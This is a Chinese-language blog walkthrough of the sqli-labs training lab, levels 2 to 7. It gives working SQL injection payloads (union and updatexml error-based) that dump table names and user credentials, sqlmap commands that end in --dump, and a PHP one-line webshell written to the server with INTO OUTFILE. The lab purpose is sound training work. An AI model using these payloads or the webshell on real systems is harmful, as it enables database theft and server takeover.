在职老D渗透日记day7:sqli-labs靶场通关(第2-7关)

5.2.第二关

5.2.1.手动注入

基本同第一关

(1)判断注入类型(有无注入点)
?id=1 and 1=1    返回数据
?id=1 and 1=2    返回空,数字型注入
(2)判断字段数
?id=1 order by 3    正常回显
?id=1 order by 4    报错,3列
(3)判断数据库类型
?id=1 AND updatexml(1,concat(0x7e,version()),1)    回显'~5.7.26',mysql
(4)使用联合查询union select判断回显位置
?id=1 union select 5,6,7     回显id=1的内容
?id=-1 union select 5,6,7    回显6,7,回显位是第2、3列
(5)查询数据库名
?id=-1 union select 5,6,database()    回显6,security
(6)查询表名
?id=-1 union select 5,6,group_concat(table_name) from information_schema.tables where table_schema='security'
Your Password:emails,referers,uagents,users
(7)查询字段名
?id=-1 union select 5,6,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'
Your Password:id,username,password
(8)查询账号密码
?id=-1 union select 5,6,group_concat(id,0x3a,username,0x3a,password) from users

5.2.2.sqlmap自动注入

同第一关

5.3.第三关

5.3.1.手动注入

从第一关字符型注入从'变成了'),其他不变

5.3.2.sqlmap自动注入

同前两关

5.4.第四关

5.4.1.手动注入
'admin'     sqli-labs第一关
"admin"
('admin')   sqli-labs第三关
("admin")   sqli-labs第四关

第四关闭合格式为"),其他不变

5.4.2.sqlmap自动注入

同前三关

5.5.第五关 get报错注入

5.5.1.手动注入

前三步和第一关一致

(1)判断注入类型(有无注入点)
?id=1 and 1=1            You are in...........
?id=1 and 1=2            You are in...........
?id=1' and '1'='1'--+    You are in...........
?id=1' and '1'='1'--+    返回空,表明是字符型sql注入
(2)判断字段数
?id=1' order by 3    You are in...........
?id=1' order by 4    报错,3列
(3)判断数据库类型
?id=1' AND updatexml(1,concat(0x7e,version()),1)    回显'~5.7.26',mysql
(4)查询数据库名(盲注——报错注入)

使用联合查询union select判断回显位置,You are in...........,没有回显

updatexml语法:updatexml(目标xml内容,xml文档路径,更新内容)
?id=1' AND updatexml(1,concat(0x7e,version()),1) 
?id=-1' and updatexml(1,concat(0x7e,(select database())),1)--+
XPATH syntax error: '~security'
(5)查询表名(盲注——报错注入)

注意报错一般有长度限制,不能输出太长的数据,不能用group_concat

?id=-1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1)--+
select table_name from information_schema.tables where table_schema='security' limit 0,1
limit 0,1    ~emails
limit 1,1    ~referers
limit 2,1    ~uagents
limit 3,1    ~users

LIMIT 3,1 表示:

从第3条记录开始(即跳过前3条,从第4条开始计数,因为索引是从0开始的,但这里注意:在LIMIT m, n中,m是偏移量,表示跳过m条记录,然后取n条)。

取1条记录。

因此,这个 select username from users limit 3,1 的意思是:从 users 表中选取 username 字段,跳过前3条记录,然后取第4条记录(也就是第4个用户的名字)。

注意:偏移量是从0开始的,所以:

第1条记录:limit 0,1

第2条记录:limit 1,1

第3条记录:limit 2,1

第4条记录:limit 3,1

(6)查询字段名(盲注——报错注入)
?id=-1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)),1)--+
select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1
limit 0,1    ~id
limit 1,1    ~username
limit 2,1    ~password
(7)查询账号密码
?id=-1' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),1)--+
select username from users limit 0,1
limit 0,1    ~Dumb
limit 1,1    ~Angelina
?id=-1' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),1)--+
select password from users limit 0,1
limit 0,1    ~Dumb
limit 1,1    ~I-kill-you
5.5.2.sqlmap自动注入

同前四关

get联合查询和get报错注入,用sqlmap自动注入是一样的

sqlmap -u "http://192.168.1.64/sqli-labs/Less-5/?id=1" --dbms mysql -v 1 -batch -p id --dbs
sqlmap -u "http://192.168.1.64/sqli-labs/Less-5/?id=1" --dbms mysql -v 1 -batch -p id -D security --tables
sqlmap -u "http://192.168.1.64/sqli-labs/Less-5/?id=1" --dbms mysql -v 1 -batch -p id -D security -T users --columns
sqlmap -u "http://192.168.1.64/sqli-labs/Less-5/?id=1" --dbms mysql -v 1 -batch -p id -D security -T users --dump

5.6.第六关

5.6.1.手动注入

同第五关的区别是字符型注入的闭合形式由'变为",其他不变

5.6.2.sqlmap自动注入

同前五关

5.7.第七关 get写入注入

5.7.1.手动注入
(1)判断注入类型
?id=1')) and 1=1--+    正常回显You are in.... Use outfile......
?id=1')) and 1=2--+    报错You have an error in your SQL syntax

字符型注入的闭合形式为'))

(2)判断字段数
?id=1')) order by 3--+    正常回显You are in.... Use outfile......
?id=1')) order by 4--+    报错You have an error in your SQL syntax

字段数为3

(3)利用写权限拿下服务器

尝试使用同第五、六关的报错注入方式,没有用

回显use outfile想到可以用outfile向服务器写入文件,常用 into outfile()

?id=1')) union select 6,'<?php eval($_GET[cmd]);?>',8 into outfile 'C:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\1.php'--+
<?php eval($_GET[cmd]);?>    一句话木马
into outfile 'C:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\1.php
(4)写入命令执行
1.php?cmd=phpinfo();

(5)用webshell工具连接被攻击服务器
5.7.2.sqlmap自动注入

同前六关

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值